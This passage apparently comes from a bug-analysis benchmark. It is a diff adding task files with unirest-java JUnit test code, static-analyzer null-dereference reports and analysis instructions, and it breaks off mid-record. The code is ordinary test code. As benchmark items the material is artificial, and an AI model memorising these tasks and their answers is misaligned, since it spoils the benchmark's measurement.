+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+		} catch (Exception e) {
+			fail();
+		}
+
+		try {
+			Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+
+		try {
+			Unirest.setHttpClient(HttpClientBuilder.create().build());
+			Unirest.setTimeouts(1000, 2000);
+			fail();
+		} catch (Exception e) {
+			// Ok
+		}
+	}
+
+	@Test
+	public void testObjectMapperRead() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse getResponseMock = new GetResponse();
+		getResponseMock.setUrl("http://httpbin.org/get");
+
+		HttpResponse<GetResponse> getResponse = Unirest.get(getResponseMock.getUrl()).asObject(GetResponse.class);
+
+		assertEquals(200, getResponse.getStatus());
+		assertEquals(getResponse.getBody().getUrl(), getResponseMock.getUrl());
+	}
+
+	@Test
+	public void testObjectMapperWrite() {
+		Unirest.setObjectMapper(new JacksonObjectMapper());
+
+		GetResponse postResponseMock = new GetResponse();
+		postResponseMock.setUrl("http://httpbin.org/post");
+
+		HttpResponse<JsonNode> postResponse = Unirest.post(postResponseMock.getUrl()).header("accept", "application/json").header("Content-Type", "application/json").body(postResponseMock).asJson();
+
+		assertEquals(200, postResponse.getStatus());
+		assertEquals(postResponse.getBody().getObject().getString("data"), "{\"url\":\"http://httpbin.org/post\"}");
+	}
+
+	@Test
+	public void testPostProvidesSortedParams() throws IOException {
+		// Verify that fields are encoded into the body in sorted order.
+		HttpRequest httpRequest = Unirest.post("test").field("z", "Z").field("y", "Y").field("x", "X").getHttpRequest();
+
+		InputStream content = httpRequest.getBody().getEntity().getContent();
+		String body = IOUtils.toString(content, "UTF-8");
+		assertEquals("x=X&y=Y&z=Z", body);
+	}
+
+	@Test
+	public void testHeaderNamesCaseSensitive() {
+		// Verify that header names are the same as server (case sensitive)
+		final Headers headers = new Headers();
+		headers.put("Content-Type", Arrays.asList("application/json"));
+
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("cOnTeNt-TyPe"));
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("content-type"));
+		assertEquals("Only header \"Content-Type\" should exist", "application/json", headers.getFirst("Content-Type"));
+	}
+
+
+	private String findAvailableIpAddress() throws IOException {
+		for (int i = 100; i <= 255; i++) {
+			String ip = "192.168.1." + i;
+			if (!InetAddress.getByName(ip).isReachable(1000)) {
+				return ip;
+			}
+		}
+
+		throw new RuntimeException("Couldn't find an available IP address in the range of 192.168.0.100-255");
+	}
+
+    private RequestCapture parse(HttpResponse<JsonNode> response) {
+        return read(response, RequestCapture.class);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `response.getBody()` could be null and is dereferenced at line 244.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testBasicAuth()
+
+### Procedure Id:
+io.github.openunirest.http.UnirestTest.testBasicAuth():void.7ba06c84fa837f294488238edf707182
+
+### File:
+src/test/java/io/github/openunirest/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testBasicAuth|NULL_DEREFERENCE
+
+### Node Key:
+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+fb11bc497e65c18e6d2348fca3bc7866
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6656/instruction.md b/inferredbugs-6656/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3048adc557b631c62bef0ec3b616bed168f1542d
--- /dev/null
+++ b/inferredbugs-6656/instruction.md
@@ -0,0 +1,904 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright for portions of OpenUnirest/uniresr-java are held by Mashape (c) 2013 as part of Kong/unirest-java.
+All other copyright for OpenUnirest/unirest-java are held by OpenUnirest (c) 2018.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+package io.github.openunirest.http;
+
+import io.github.openunirest.http.async.Callback;
+import io.github.openunirest.http.options.Options;
+import io.github.openunirest.http.exceptions.UnirestException;
+import io.github.openunirest.request.GetRequest;
+import io.github.openunirest.request.HttpRequest;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.http.entity.ContentType;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.nio.client.HttpAsyncClientBuilder;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.*;
+
+import java.io.*;
+import java.net.InetAddress;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static io.github.openunirest.http.TestUtils.read;
+import static org.junit.Assert.*;
+
+public class UnirestTest {
+
+    private CountDownLatch lock;
+    private boolean status;
+
+    @BeforeClass
+    public static void suiteSetUp() {
+        MockServer.start();
+    }
+
+    @AfterClass
+    public static void suiteTearDown() {
+        MockServer.shutdown();
+    }
+
+    @Before
+    public void setUp() {
+        MockServer.reset();
+        lock = new CountDownLatch(1);
+        status = false;
+    }
+
+    @Test
+    public void postFormReturnJson() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+                .header("accept", "application/json")
+                .field("param1", "value1")
+                .field("param2", "bye")
+                .asJson();
+
+        assertEquals(200, jsonResponse.getStatus());
+
+        RequestCapture json = parse(jsonResponse);
+        json.assertHeader("Accept", "application/json");
+        json.assertParam("param1", "value1");
+        json.assertParam("param2", "bye");
+    }
+
+    @Test
+    public void canPassQueryParamsOnStringOrWithForm() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET + "?name=mark")
+                .header("accept", "application/json")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertParam("name", "mark");
+
+        response = Unirest.get(MockServer.GET)
+                .header("accept", "application/json")
+                .queryString("name", "mark2")
+                .asJson();
+
+        json = parse(response);
+        json.assertParam("name", "mark2");
+    }
+
+    @Test
+    public void multipleParams() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET + "?name=ringo")
+                .header("accept", "application/json")
+                .queryString("name", "paul")
+                .queryString("name", "john")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertParam("name", "ringo");
+        json.assertParam("name", "paul");
+        json.assertParam("name", "john");
+    }
+
+    @Test
+    public void testGetUTF8() {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .header("accept", "application/json")
+                .queryString("param3", "こんにちは")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertParam("param3", "こんにちは");
+    }
+
+    @Test
+    public void testPostUTF8() {
+        HttpResponse response = Unirest.post(MockServer.POST)
+                .header("accept", "application/json")
+                .field("param3", "こんにちは")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertParam("param3", "こんにちは");
+    }
+
+    @Test
+    public void testPostBinaryUTF8() throws URISyntaxException {
+        HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+                .header("Accept", ContentType.MULTIPART_FORM_DATA.getMimeType())
+                .field("param3", "こんにちは")
+                .field("file", new File(getClass().getResource("/test").toURI()))
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertParam("param3", "こんにちは");
+        json.getFile("test").assertBody("This is a test file");
+    }
+
+    @Test
+    public void testPostRawBody() {
+        String sourceString = "'\"@こんにちは-test-123-" + Math.random();
+        byte[] sentBytes = sourceString.getBytes();
+
+        HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+                .body(sentBytes)
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.asserBody(sourceString);
+    }
+
+    @Test
+    public void testCustomUserAgent() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .header("user-agent", "hello-world")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertHeader("User-Agent", "hello-world");
+    }
+
+    @Test
+    public void testGetMultiple() throws JSONException, UnirestException {
+        for (int i = 1; i <= 20; i++) {
+            HttpResponse<JsonNode> response = Unirest.get(MockServer.GET + "?try=" + i).asJson();
+            parse(response).assertParam("try", String.valueOf(i));
+        }
+    }
+
+    @Test
+    public void testGetFields() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .queryString("name", "mark")
+                .queryString("nick", "thefosk")
+                .asJson();
+
+        RequestCapture parse = parse(response);
+        parse.assertParam("name", "mark");
+        parse.assertParam("nick", "thefosk");
+    }
+
+    @Test
+    public void testGetFields2() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .queryString("email", "hello@hello.com")
+                .asJson();
+
+        parse(response).assertParam("email", "hello@hello.com");
+    }
+
+    @Test
+    public void testQueryStringEncoding() throws JSONException, UnirestException {
+        String testKey = "email2=someKey&email";
+        String testValue = "hello@hello.com";
+
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .queryString(testKey, testValue)
+                .asJson();
+
+        parse(response).assertParam(testKey, testValue);
+    }
+
+    @Test
+    public void testDelete() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.delete(MockServer.DELETE).asJson();
+        assertEquals(200, response.getStatus());
+
+        response = Unirest.delete(MockServer.DELETE)
+                .field("name", "mark")
+                .field("foo", "bar")
+                .asJson();
+
+        RequestCapture parse = parse(response);
+        parse.assertParam("name", "mark");
+        parse.assertParam("foo", "bar");
+    }
+
+    @Test
+    public void testDeleteBody() throws JSONException, UnirestException {
+        String body = "{\"jsonString\":{\"members\":\"members1\"}}";
+        HttpResponse<JsonNode> response = Unirest.delete(MockServer.DELETE)
+                .body(body)
+                .asJson();
+
+        assertEquals(200, response.getStatus());
+        parse(response).asserBody(body);
+    }
+
+    @Test
+    public void testBasicAuth() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get(MockServer.GET)
+                .basicAuth("user", "test")
+                .asJson();
+
+        parse(response).assertHeader("Authorization", "Basic dXNlcjp0ZXN0");
+    }
+
+    @Test
+    public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+        Future<HttpResponse<JsonNode>> future = Unirest.post(MockServer.POST)
+                .header("accept", "application/json")
+                .field("param1", "value1")
+                .field("param2", "bye")
+                .asJsonAsync();
+
+        assertNotNull(future);
+
+        RequestCapture req = parse(future.get());
+        req.assertParam("param1", "value1");
+        req.assertParam("param2", "bye");
+    }
+
+    @Test
+    public void testAsyncCallback() throws JSONException, InterruptedException {
+        Unirest.post(MockServer.POST)
+                .header("accept", "application/json")
+                .field("param1", "value1")
+                .field("param2", "bye")
+                .asJsonAsync(new Callback<JsonNode>() {
+
+                    public void failed(UnirestException e) {
+                        fail();
+                    }
+
+                    public void completed(HttpResponse<JsonNode> jsonResponse) {
+                        RequestCapture req = parse(jsonResponse);
+                        req.assertParam("param1", "value1");
+                        req.assertParam("param2", "bye");
+
+                        status = true;
+                        lock.countDown();
+                    }
+
+                    public void cancelled() {
+                        fail();
+                    }
+                });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testMultipart() throws JSONException, URISyntaxException, UnirestException {
+        HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", new File(getClass().getResource("/test").toURI()))
+                .asJson();
+
+        RequestCapture res = parse(jsonResponse);
+        res.getFile("test").assertBody("This is a test file");
+        res.getFile("test").assertFileType("application/octet-stream");
+
+        res.assertParam("name", "Mark");
+    }
+
+    @Test
+    public void testMultipartContentType() throws JSONException, URISyntaxException, UnirestException {
+        HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", new File(getClass().getResource("/image.jpg").toURI()), "image/jpeg")
+                .asJson();
+
+        RequestCapture res = parse(jsonResponse);
+        res.getFile("image.jpg").assertFileType("image/jpeg");
+        res.assertParam("name", "Mark");
+    }
+
+    @Test
+    public void testMultipartInputStreamContentType() throws JSONException, URISyntaxException, FileNotFoundException {
+        FileInputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+
+        HttpResponse<JsonNode> request = Unirest.post(MockServer.POST)
+                .header("accept", ContentType.MULTIPART_FORM_DATA.toString())
+                .field("name", "Mark")
+                .field("file", stream, ContentType.APPLICATION_OCTET_STREAM, "image.jpg")
+                .asJson();
+
+        assertEquals(200, request.getStatus());
+
+        RequestCapture json = parse(request);
+        json.assertHeader("Accept", ContentType.MULTIPART_FORM_DATA.toString());
+        json.assertParam("name", "Mark");
+        json.getFile("image.jpg").assertFileType("application/octet-stream");
+    }
+
+    @Test
+    public void testMultipartInputStreamContentTypeAsync() throws JSONException, InterruptedException, URISyntaxException, FileNotFoundException {
+        Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", new FileInputStream(new File(getClass().getResource("/test").toURI())), ContentType.APPLICATION_OCTET_STREAM, "test")
+                .asJsonAsync(new Callback<JsonNode>() {
+
+                    public void failed(UnirestException e) {
+                        fail();
+                    }
+
+                    public void completed(HttpResponse<JsonNode> response) {
+                        RequestCapture json = parse(response);
+                        json.assertParam("name", "Mark");
+                        json.getFile("test").assertFileType("application/octet-stream");
+
+                        status = true;
+                        lock.countDown();
+                    }
+
+                    public void cancelled() {
+                        fail();
+                    }
+                });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testMultipartByteContentType() throws JSONException, URISyntaxException, IOException {
+        final InputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+        final byte[] bytes = new byte[stream.available()];
+        stream.read(bytes);
+        stream.close();
+
+        HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", bytes, "image.jpg")
+                .asJson();
+
+        RequestCapture parse = parse(jsonResponse);
+        parse.getFile("image.jpg").assertFileType("application/octet-stream");
+        parse.assertParam("name", "Mark");
+    }
+
+    @Test
+    public void testMultipartByteContentTypeAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+        final InputStream stream = new FileInputStream(new File(getClass().getResource("/test").toURI()));
+        final byte[] bytes = new byte[stream.available()];
+        stream.read(bytes);
+        stream.close();
+
+        Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", bytes, "test")
+                .asJsonAsync(new Callback<JsonNode>() {
+
+                    public void failed(UnirestException e) {
+                        fail();
+                    }
+
+                    public void completed(HttpResponse<JsonNode> response) {
+                        RequestCapture parse = parse(response);
+                        parse.getFile("test").assertFileType("application/octet-stream");
+                        parse.assertParam("name", "Mark");
+
+                        status = true;
+                        lock.countDown();
+                    }
+
+                    public void cancelled() {
+                        fail();
+                    }
+
+                });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testMultipartAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, UnirestException {
+        Unirest.post(MockServer.POST)
+                .field("name", "Mark")
+                .field("file", new File(getClass().getResource("/test").toURI()))
+                .asJsonAsync(new Callback<JsonNode>() {
+
+                    public void failed(UnirestException e) {
+                        fail();
+                    }
+
+                    public void completed(HttpResponse<JsonNode> response) {
+                        RequestCapture parse = parse(response);
+                        parse.getFile("test").assertFileType("application/octet-stream");
+                        parse.getFile("test").assertBody("This is a test file");
+                        parse.assertParam("name", "Mark");
+
+                        status = true;
+                        lock.countDown();
+                    }
+
+                    public void cancelled() {
+                        fail();
+                    }
+
+                });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testGzip() throws JSONException {
+        HttpResponse<JsonNode> jsonResponse = Unirest.get(MockServer.GZIP)
+                .queryString("zipme", "up")
+                .asJson();
+
+        parse(jsonResponse).assertParam("zipme", "up");
+    }
+
+    @Test
+    public void testGzipAsync() throws JSONException, InterruptedException, ExecutionException {
+        HttpResponse<JsonNode> jsonResponse = Unirest.get(MockServer.GZIP)
+                .queryString("zipme", "up")
+                .asJsonAsync()
+                .get();
+
+        parse(jsonResponse).assertParam("zipme", "up");
+    }
+
+    @Test
+    public void testDefaultHeaders() throws JSONException {
+        Unirest.setDefaultHeader("X-Custom-Header", "hello");
+        Unirest.setDefaultHeader("user-agent", "foobar");
+
+        HttpResponse<JsonNode> jsonResponse = Unirest.get(MockServer.GET).asJson();
+
+        RequestCapture r = parse(jsonResponse);
+        r.assertHeader("X-Custom-Header", "hello");
+        r.assertHeader("User-Agent", "foobar");
+
+        jsonResponse = Unirest.get(MockServer.GET).asJson();
+        r = parse(jsonResponse);
+        r.assertHeader("X-Custom-Header", "hello");
+        r.assertHeader("User-Agent", "foobar");
+
+        Unirest.clearDefaultHeaders();
+
+        jsonResponse = Unirest.get(MockServer.GET).asJson();
+        r = parse(jsonResponse);
+        r.assertNoHeader("X-Custom-Header");
+    }
+
+    @Test
+    public void testSetTimeouts() throws IOException {
+        String address = "http://" + findAvailableIpAddress() + "/";
+        long start = System.currentTimeMillis();
+        try {
+            Unirest.get("http://" + address + "/").asString();
+        } catch (Exception e) {
+            if (System.currentTimeMillis() - start > Options.CONNECTION_TIMEOUT + 100) { // Add 100ms for code execution
+                fail();
+            }
+        }
+        Unirest.setTimeouts(2000, 10000);
+        start = System.currentTimeMillis();
+        try {
+            Unirest.get("http://" + address + "/").asString();
+        } catch (Exception e) {
+            if (System.currentTimeMillis() - start > 2100) { // Add 100ms for code execution
+                fail();
+            }
+        }
+    }
+
+    @Test
+    public void testPathParameters() {
+        HttpResponse<JsonNode> jsonResponse = Unirest.get(MockServer.HOST + "/{method}")
+                .routeParam("method", "get")
+                .queryString("name", "Mark")
+                .asJson();
+
+        parse(jsonResponse)
+                .assertParam("name", "Mark");
+    }
+
+    @Test
+    public void testQueryAndBodyParameters() {
+        HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.HOST + "/{method}")
+                .routeParam("method", "post")
+                .queryString("name", "Mark")
+                .field("wot", "wat")
+                .asJson();
+
+        parse(jsonResponse)
+                .assertParam("name", "Mark")
+                .assertParam("wot", "wat");
+    }
+
+    @Test
+    public void testPathParameters2() {
+        HttpResponse<JsonNode> jsonResponse = Unirest.patch(MockServer.HOST + "/{method}")
+                .routeParam("method", "patch")
+                .field("name", "Mark")
+                .asJson();
+
+        parse(jsonResponse)
+                .assertParam("name", "Mark");
+    }
+
+    @Test
+    public void testMissingPathParameter() {
+        try {
+            Unirest.get(MockServer.HOST + "/{method}")
+                    .routeParam("method222", "get")
+                    .queryString("name", "Mark")
+                    .asJson();
+
+            fail();
+        } catch (RuntimeException e) {
+            assertEquals("Can't find route parameter name \"method222\"", e.getMessage());
+        }
+    }
+
+    @Test
+    public void parallelTest() throws InterruptedException {
+        Unirest.setConcurrency(10, 5);
+
+        long start = System.currentTimeMillis();
+        makeParallelRequests();
+        long smallerConcurrencyTime = (System.currentTimeMillis() - start);
+
+        Unirest.setConcurrency(200, 20);
+        start = System.currentTimeMillis();
+        makeParallelRequests();
+        long higherConcurrencyTime = (System.currentTimeMillis() - start);
+
+        assertTrue(higherConcurrencyTime < smallerConcurrencyTime);
+    }
+
+    private void makeParallelRequests() throws InterruptedException {
+        ExecutorService newFixedThreadPool = Executors.newFixedThreadPool(10);
+        final AtomicInteger counter = new AtomicInteger(0);
+        for (int i = 0; i < 200; i++) {
+            newFixedThreadPool.execute(() -> {
+                try {
+                    Unirest.get(MockServer.HOST + "/get").queryString("index", counter.incrementAndGet()).asString();
+                } catch (UnirestException e) {
+                    throw new RuntimeException(e);
+                }
+            });
+        }
+
+        newFixedThreadPool.shutdown();
+        newFixedThreadPool.awaitTermination(10, TimeUnit.MINUTES);
+    }
+
+    @Test
+    public void testAsyncCustomContentType() throws InterruptedException {
+        Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/json").body("{\"hello\":\"world\"}").asJsonAsync(new Callback<JsonNode>() {
+
+            public void failed(UnirestException e) {
+                fail();
+            }
+
+            public void completed(HttpResponse<JsonNode> jsonResponse) {
+                JsonNode json = jsonResponse.getBody();
+                assertEquals("{\"hello\":\"world\"}", json.getObject().getString("data"));
+                assertEquals("application/json", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+                status = true;
+                lock.countDown();
+            }
+
+            public void cancelled() {
+                fail();
+            }
+        });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testAsyncCustomContentTypeAndFormParams() throws InterruptedException {
+        Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/x-www-form-urlencoded").field("name", "Mark").field("hello", "world").asJsonAsync(new Callback<JsonNode>() {
+
+            public void failed(UnirestException e) {
+                fail();
+            }
+
+            public void completed(HttpResponse<JsonNode> jsonResponse) {
+                JsonNode json = jsonResponse.getBody();
+                assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+                assertEquals("world", json.getObject().getJSONObject("form").getString("hello"));
+
+                assertEquals("application/x-www-form-urlencoded", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+                status = true;
+                lock.countDown();
+            }
+
+            public void cancelled() {
+                fail();
+            }
+        });
+
+        lock.await(10, TimeUnit.SECONDS);
+        assertTrue(status);
+    }
+
+    @Test
+    public void testGetQuerystringArray() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "Mark").queryString("name", "Tom").asJson();
+
+        JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+        assertEquals(2, names.length());
+
+        assertEquals("Mark", names.getString(0));
+        assertEquals("Tom", names.getString(1));
+    }
+
+    @Test
+    public void testPostMultipleFiles() throws JSONException, URISyntaxException {
+        HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "wot").field("file1", new File(getClass().getResource("/test").toURI())).field("file2", new File(getClass().getResource("/test").toURI())).asJson();
+
+        JSONObject names = response.getBody().getObject().getJSONObject("files");
+        assertEquals(2, names.length());
+
+        assertEquals("This is a test file", names.getString("file1"));
+        assertEquals("This is a test file", names.getString("file2"));
+
+        assertEquals("wot", response.getBody().getObject().getJSONObject("form").getString("param3"));
+    }
+
+    @Test
+    public void testGetArray() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", Arrays.asList("Mark", "Tom")).asJson();
+
+        JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+        assertEquals(2, names.length());
+
+        assertEquals("Mark", names.getString(0));
+        assertEquals("Tom", names.getString(1));
+    }
+
+    @Test
+    public void testPostArray() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("name", "Tom").asJson();
+
+        JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+        assertEquals(2, names.length());
+
+        assertEquals("Mark", names.getString(0));
+        assertEquals("Tom", names.getString(1));
+    }
+
+    @Test
+    public void testPostCollection() throws JSONException, UnirestException {
+        HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", Arrays.asList("Mark", "Tom")).asJson();
+
+        JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+        assertEquals(2, names.length());
+
+        assertEquals("Mark", names.getString(0));
+        assertEquals("Tom", names.getString(1));
+    }
+
+    @Test
+    public void testCaseInsensitiveHeaders() {
+        GetRequest request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco");
+        assertEquals(1, request.getHeaders().size());
+        assertEquals("Marco", request.getHeaders().get("name").get(0));
+        assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+        assertEquals("Marco", request.getHeaders().get("Name").get(0));
+        JSONObject headers = request.asJson().getBody().getObject().getJSONObject("headers");
+        assertEquals("Marco", headers.getString("Name"));
+
+        request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco").header("Name", "John");
+        assertEquals(1, request.getHeaders().size());
+        assertEquals("Marco", request.getHeaders().get("name").get(0));
+        assertEquals("John", request.getHeaders().get("name").get(1));
+        assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+        assertEquals("John", request.getHeaders().get("NAme").get(1));
+        assertEquals("Marco", request.getHeaders().get("Name").get(0));
+        assertEquals("John", request.getHeaders().get("Name").get(1));
+    }
+
+    @Test
+    public void setTimeoutsAndCustomClient() {
+        try {
+            Unirest.setTimeouts(1000, 2000);
+        } catch (Exception e) {
+            fail();
+        }
+
+        try {
+            Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+        } catch (Exception e) {
+            fail();
+        }
+
+        try {
+            Unirest.setAsyncHttpClient(HttpAsyncClientBuilder.create().build());
+            Unirest.setTimeouts(1000, 2000);
+            fail();
+        } catch (Exception e) {
+            // Ok
+        }
+
+        try {
+            Unirest.setHttpClient(HttpClientBuilder.create().build());
+            Unirest.setTimeouts(1000, 2000);
+            fail();
+        } catch (Exception e) {
+            // Ok
+        }
+    }
+
+    @Test
+    public void testObjectMapperRead() {
+        Unirest.setObjectMapper(new JacksonObjectMapper());
+
+        GetResponse getResponseMock = new GetResponse();
+        getResponseMock.setUrl("http://httpbin.org/get");
+
+        HttpResponse<GetResponse> getResponse = Unirest.get(getResponseMock.getUrl()).asObject(GetResponse.class);
+
+        assertEquals(200, getResponse.getStatus());
+        assertEquals(getResponse.getBody().getUrl(), getResponseMock.getUrl());
+    }
+
+    @Test
+    public void testObjectMapperWrite() {
+        Unirest.setObjectMapper(new JacksonObjectMapper());
+
+        GetResponse postResponseMock = new GetResponse();
+        postResponseMock.setUrl("http://httpbin.org/post");
+
+        HttpResponse<JsonNode> postResponse = Unirest.post(postResponseMock.getUrl()).header("accept", "application/json").header("Content-Type", "application/json").body(postResponseMock).asJson();
+
+        assertEquals(200, postResponse.getStatus());
+        assertEquals(postResponse.getBody().getObject().getString("data"), "{\"url\":\"http://httpbin.org/post\"}");
+    }
+
+    @Test
+    public void testPostProvidesSortedParams() throws IOException {
+        // Verify that fields are encoded into the body in sorted order.
+        HttpRequest httpRequest = Unirest.post("test").field("z", "Z").field("y", "Y").field("x", "X").getHttpRequest();
+
+        InputStream content = httpRequest.getBody().getEntity().getContent();
+        String body = IOUtils.toString(content, "UTF-8");
+        assertEquals("x=X&y=Y&z=Z", body);
+    }
+
+    @Test
+    public void testHeaderNamesCaseSensitive() {
+        // Verify that header names are the same as server (case sensitive)
+        final Headers headers = new Headers();
+        headers.put("Content-Type", Arrays.asList("application/json"));
+
+        assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("cOnTeNt-TyPe"));
+        assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("content-type"));
+        assertEquals("Only header \"Content-Type\" should exist", "application/json", headers.getFirst("Content-Type"));
+    }
+
+
+    private String findAvailableIpAddress() throws IOException {
+        for (int i = 100; i <= 255; i++) {
+            String ip = "192.168.1." + i;
+            if (!InetAddress.getByName(ip).isReachable(1000)) {
+                return ip;
+            }
+        }
+
+        throw new RuntimeException("Couldn't find an available IP address in the range of 192.168.0.100-255");
+    }
+
+    private RequestCapture parse(HttpResponse<JsonNode> response) {
+        assertEquals(200, response.getStatus());
+        return read(response, RequestCapture.class);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `response.getBody()` could be null and is dereferenced at line 687.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testGetArray()
+
+### Procedure Id:
+io.github.openunirest.http.UnirestTest.testGetArray():void.93cc13ec03e28927235063f3d8836c8c
+
+### File:
+src/test/java/io/github/openunirest/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testGetArray|NULL_DEREFERENCE
+
+### Node Key:
